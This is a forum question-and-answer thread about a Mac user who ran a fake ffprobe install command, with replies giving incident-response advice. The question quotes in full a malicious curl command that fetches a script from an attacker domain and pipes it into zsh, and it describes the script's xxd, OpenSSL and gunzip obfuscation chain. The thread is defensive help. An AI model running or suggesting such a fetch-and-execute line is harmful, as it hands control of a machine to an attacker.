I was trying to reinstall ffprobe because yt-dlp was reporting a problem, and I accidentally visited a suspicious download site. I ran this command in zsh: `export _lane_ix=v6.2.9; export TRACE_n_yv=on; export _stage_ref=3597b23e; curl -fsSL "https://linen-harbor.com/curl/u0cs3dxzgit/update.sh" | zsh`. The downloaded script creates a cache directory and timestamp, assembles several long encoded strings, decodes them with `xxd`, decrypts them using OpenSSL AES-128-CTR with a derived key, decompresses the result with gunzip, and executes the output with zsh. What can be determined from this, and what should I do now?
3 Answers
For recovery, the safest option is to back up only personal documents after checking them, erase the Mac, and reinstall macOS from Recovery or another trusted installer. Restore applications from official sources rather than copying them from the old system. Also check browser extensions, login items, LaunchAgents, cron jobs, shell startup files, and recently created files—but manual cleanup alone cannot prove that a payload is gone. For the original yt-dlp issue, install the official ffmpeg package; ffprobe is included with it.
This is highly suspicious. The command downloads a script directly from an untrusted domain and immediately pipes it into zsh, so the remote server controlled what ran on your Mac. The visible script mostly performs bookkeeping and obfuscation: it writes a timestamp under `~/Library/Caches`, creates a temporary file, reconstructs an encrypted payload from several hard-coded blobs, decrypts it with OpenSSL, decompresses it, and executes the resulting shell code. Without retrieving and analyzing the exact remote payload, nobody can say precisely what it did. Treat the machine as compromised, delete anything downloaded, and don't run the script again.
The command is not installing ffprobe or ffmpeg. It fetches arbitrary code with `curl` and executes it immediately. Because the final payload is generated dynamically, antivirus results or a quick look at this wrapper aren't enough to establish that the system is safe. Disconnect the Mac from networks if possible, preserve evidence if you need an investigation, and use a known-clean device to change important passwords and revoke active sessions or tokens.
I was mainly trying to understand whether the visible script itself installed anything. I hadn't realized the actual payload was hidden behind the decoding steps.